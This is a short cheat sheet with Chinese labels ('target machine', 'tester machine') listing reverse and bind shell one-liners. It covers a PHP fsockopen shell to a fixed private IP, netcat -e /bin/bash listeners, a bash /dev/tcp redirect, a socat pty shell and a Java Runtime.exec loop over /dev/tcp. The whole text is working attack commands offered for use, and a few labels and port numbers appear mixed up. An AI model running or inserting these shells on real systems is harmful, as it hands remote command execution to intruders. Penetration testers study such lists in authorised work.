靶机:
<?php $sock=fsockopen("192.168.238.143",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
测试机:nc -nvlp port
netcat
靶机:nc -lvp port -t -e /bin/bash
测试机: nc ip port
正向
靶机:nc -lvp 4444 -t -e /bin/bash
测试机:nc -nv ip 444
反向
靶机:nc -lvp 4444
测试机:nc -t -e /bin/bash ip port
bash
bash -i>& /dev/tcp/[ip]/[port] 0>&1
nc -nvlp port
socket
socat TCP-LISTEN:port
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip port
java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()